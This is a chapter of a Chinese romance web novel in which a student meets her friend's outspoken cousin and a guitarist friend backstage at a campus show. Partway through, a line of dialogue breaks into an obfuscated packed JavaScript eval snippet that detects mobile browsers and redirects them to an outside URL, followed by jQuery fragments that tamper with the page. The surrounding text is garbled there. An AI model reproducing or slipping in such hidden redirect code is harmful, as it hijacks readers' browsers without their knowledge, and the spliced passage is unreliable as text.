13. 贺子君

作品:《畸形迷恋

    喧闹的声音盖过了贺见澄过来的的动静,夏晓时被他扯着手,有点懵地抬头看了他一眼,“你怎么来了?”


    贺见澄被气笑了,“我怎么来了,我怎么不能来?”他举起她的手,“再不来都快贴人家身上了......!!”


    发现他的表情不太妙,夏晓时赶紧解释,“没有啊,我看他呆呆的没反应还以为他走神了呢,想拿手在他眼前晃悠试探一下而已。”


    “所以他到底是谁?”


    “他叫柳星许,之前上公共课当过一次同桌,今天恰好在这里碰到了。”夏晓时向柳星许介绍,“这位是贺见澄,我的朋友,也是今晚要上台表演的新生之一。顺便一提,他拉的小提琴可好听了!”


    初见就接收到对方毫不掩饰的敌意,柳星许不知该作何反应地贴在墙边,手指不断摩挲着酸奶凹凸不平的瓶盖,在两人谈话时也不敢插嘴,直到夏晓时明确地把话题抛向他才慌忙找回游离的状态。


    “你,你好......”他勉强扯出一抹笑向贺见澄打招呼。


    “......”


    见这人说话一副自己好像要吃了他的窝囊模样,贺见澄原本不善的神色逐渐变得难以描述。


    ......他不会是个自闭儿童吧?


    秉持着关爱病人的原则,贺见澄不再咄咄逼人,回了柳星许句“你好”,就转头和夏晓时说起了团委的事情。


    “我姐说现在正好缺人,你可以去后台搭把手了。”


    “现在吗?”夏晓时看了柳星许一眼,说:“行,不过我还有点事要和他说,你先去吧。”


    怀疑地在二人之间巡视一遍,贺见澄看到柳星许刻意避开的视线时嘴角一抽,放心地走了。


    反正是个自闭症,应该没事。


    “快点,别让我姐等太久。”


    “好的好的!”


    待他走远,夏晓时才重新看向柳星许,有些不好意思地说:“抱歉啊,他这人一向这样,你别放在心上。”


    没了外人在场,柳星许紧绷的神经终于松懈了些,说话也没那么小声了:“没关系,我没有在意。”


    “哈哈,那就好,那就好。”缓和了下气氛,夏晓时进入正题,“其实我也没什么要和你说的,就是想让你好好享受今晚的晚会,起码也得留到第五个节目。”她神秘地说:“贺见澄拉小提琴真的超好听的,真的,骗你我是小狗。”


    “还有,”她用眼神示意他握着的酸奶,“酸奶要早点喝哦,不然口感就不好了。”


    再次灿然一笑,夏晓时离开前摆摆手,像一只猫咪般灵活地钻入了人群。


    徒留柳星许迟钝地对着她消失的地方呆呆挥手。


    来到后台,夏晓时轻易在来来往往的志愿者与工作人员中找到了人高马大气的贺见澄。


    她走过去,见对方混在一群脖子上挂着吊牌的工作人员里,而且很明显都在听一个人讲话。


    顺着所有人的视线往一个地方看,夏晓时在找到领导人时惊讶地张了张嘴。


    是她。


    ——刚才与自己相撞的女生。


    恰好一直在东张西望的贺见澄也在此刻锁定了她,众目睽睽下快步走到了她面前。


    “你还能到的再慢点吗?”


    他不满地指责。


    “大少爷,我已经够快了。我又不像你,腿那么长,你一步我得三步啊!”夏晓时讨饶。


    听出对方的恭维之意,略有炸毛趋势的贺见澄很快就被顺毛了,但还是装作不满意地“切”了一声,“你就会说这些没用的话。”


    他把夏晓时带到自己身边,等领导人把工作都安排完众人分散了之后才凑上前,“姐,她就是夏晓时。”


    “我知道!”扎着干练低马尾的贺子君白了他一眼,“你身边就只有她一个女生,我又不是傻子。”


    夏晓时很是亲近地叫她:“姐姐好!”


    “诶!嘴真甜,比贺见澄那张狗嘴好多了。”贺子君应了下来,又问:“现在有没有哪里不舒服?我刚才撞你的力气还挺大的。”


    “没有没有,舒坦着呢!”夏晓时说:“姐你给我派什么活儿我都干的完!”


    “哈哈哈哈,不愧是能治住贺见澄这混球的人,我喜欢!”贺子君一把揽住她的肩膀,堂姐弟俩一脉相承的身高在夏晓时这看起来像大姐头揽住了妹妹,周围的人一看这仗势都纷纷扶额。


    “老贺,别把人小妹妹搂坏了!人是姑娘不是铁锅!”


    “这一天天使不完的牛劲儿。”


    “等会儿桉姐来了又要说你了!”


    贺见澄也把夏晓时从她手中捞了出来,不满道:“喂!你这怪力女轻着点!”


    “说谁怪力女呢,细狗男?”贺子君踹了他一脚,被对方灵敏地躲了过去。


    夏晓时新奇地看着这一切。


    本以为贺见澄这种家庭出他一个标新立异的已经够有种了,没想到还有一个。


    说实话,在她预想里贺子君应该是那种穿着大牌小香风的长发知性大小姐,而不是现在这个头发随便扎扎一身平价白衬衫铅蓝色牛仔裤的“普通人”。


    给她一种扔人堆里也认不出来的错觉。


    但能在不普通的家庭环境里长成“普通人”,就注定她不平凡。


    刚好与贺子君对上视线,两人微微一笑,又不约而同地错开。


    一道无法分辨出性别的低沉声音忽然插入。


    “老贺,这边话筒有问题。”


    来人背着一把整体冰蓝的电吉他,黑皮衣铆钉靴,脸上画着冲击力极强的烟熏妆,张扬的黑绿发随风飘扬,表情却是完全不一样的成熟稳重,完美地诠释了慵懒与不羁的结合。


    看到和贺子君站在一起的人是谁,她脚步一顿,很快又恢复如常地走了过去。


    “你已经和她见过了?”周桉问她。


    “这不是显而易见嘛。”贺子君娴熟地搭上她的肩膀。


    这一幕倒是夏晓时没有想到的,“你们......认识?”


    “认识有三年了。”


    “等等,我知道你!”贺见澄插进来,“你是不是那个和我姐一起去南宁旅游,还面不改色炫完了六笼小笼包的周桉?”


    周桉点点头,“嗯,是我。”


    贺见澄咂舌,“我一个快一米九的人都吃不下那么多,你竟然能吃完......”


    “吃那么多有什么用,遇到猥琐男骚扰还不是得我出场。”贺子君嫌弃地睨了她一眼。


    “我都说了那回是你太冲动了,得亏店长是个明事理的好人,不然我们俩都得被炒鱿鱼。”说起这件事周桉就头疼,解释道:“我那时候都录好证据准备报警了,你忽然过来一个飞踢给人一脚踹地上了,牙齿都磕掉了两颗。得亏有证据在手,不然你一个月工资都得搭进去。”


    “切,没了就没了呗,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992500|193781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我这一手好厨艺,还怕找不到工资高的下家?总比看着你一个小服务员吞声忍气地被骚扰好。”贺子君不屑。


    “行行行,你厉害。”实在没辙了,周桉哄小孩一样哄她。


    夏晓时嘴角抽了抽。


    姐弟俩在这一块也是一脉相承啊。


    “我姐可是系统性练过八年散打的人,只掉了两颗牙齿算下手轻的了。放心吧,她虽然是怪力女,但心有猛虎,细嗅蔷薇,这方面精着呢。”贺见澄罕见地站在他姐这边帮她说话。


    “哼哼,算你小子没忘本。”贺子君骄傲地数起了当年的英勇事迹,“想你小时候被村口的王二狗他们欺负,鼻涕眼泪流的满脸,哭得上气不接下气地来找我告状,我一出马就把那群小屁孩揍得哭爹喊娘,之后就再也没受过欺负了!”


    贺见澄直接伸手捂住了她的嘴巴。


    尴尬地朝看过来的夏晓时笑笑,他咬牙切齿地小声道:“你他大爷的,这种事就不用拿出来说了吧,非得我在外人面前把你因为毕业要去当厨师被舅舅和舅妈赶出来的事抖落出来吗......!!”


    贺子君掰开他的手,“你以为我像你一样幼稚吗,这算什么丢人的事,这是我为梦想而斗的荣耀证明!”


    周桉被她逗乐了,“也不知道半夜哭着给我打电话要我收留的人是谁。”


    “停停停,你到底站哪边儿的?”


    “肯定是你这边。”


    “那你还拆我台!?”贺子君使出一招强人锁女,周桉被她搂得全身都往后仰。


    长时间没等到人,另一边乐队的人跑过来问进度了。


    “桉姐,找到解决办法了没?”


    刚才还在闹的二人立马停下来,贺子君迅速搂上了来人的肩膀,豪情万丈道:“走!我这就来为人民服务!”


    离开之前,她回头对夏晓时嘱咐道:“你直接去外边帮忙摆凳子就行了,柜子里有志愿者马甲,记得穿上再去!”


    “okok,我知道了!”夏晓时忙点头。


    几人就又这么热热闹闹地走了。


    看着她的背影,夏晓时感叹道:“你姐还真是......与众不同啊。”


    “她从小就这样,舅舅舅妈比我妈还恐怖,我好歹还去农村躲了几年,不知道她处于那种高压环境是怎么一直保持乐观的。”贺见澄也表示无法理解。


    “不过,说起农村,你原来还有过那样的经历啊。”夏晓时促狭地朝他挑眉。


    “喂!......那时候是我还小好吧!那几个小屁孩大我六岁,我孤身一人被揍了一顿还能逃走已经很厉害了!要是你肯定不行!”他梗着脖子辩解,“而且,我后边长大了点就立马揍回去了!一挑三,几个混子从村头跑到村尾呢!”


    夏晓时笑了,“好了,我知道你很厉害,来几个人都不是对手。但我只是想说......”


    她踮起脚拍拍贺见澄的脑袋,“那段时间辛苦你了。”


    轻飘飘的力道仿佛是一晃而过的错觉,贺见澄愣在那,接着耳尖开始慢慢变红。


    他掩饰般地咳了两声,摸了摸头发道:“......还好吧,本来也不是什么大事,我还挺喜欢那段和奶奶在老家生活的日子。”


    “比起这个,等会儿一定要在最前排看我的演出,听到没有!”


    夏晓时顿时立正:“收到长官!”


    贺见澄满意,“这态度才对嘛。”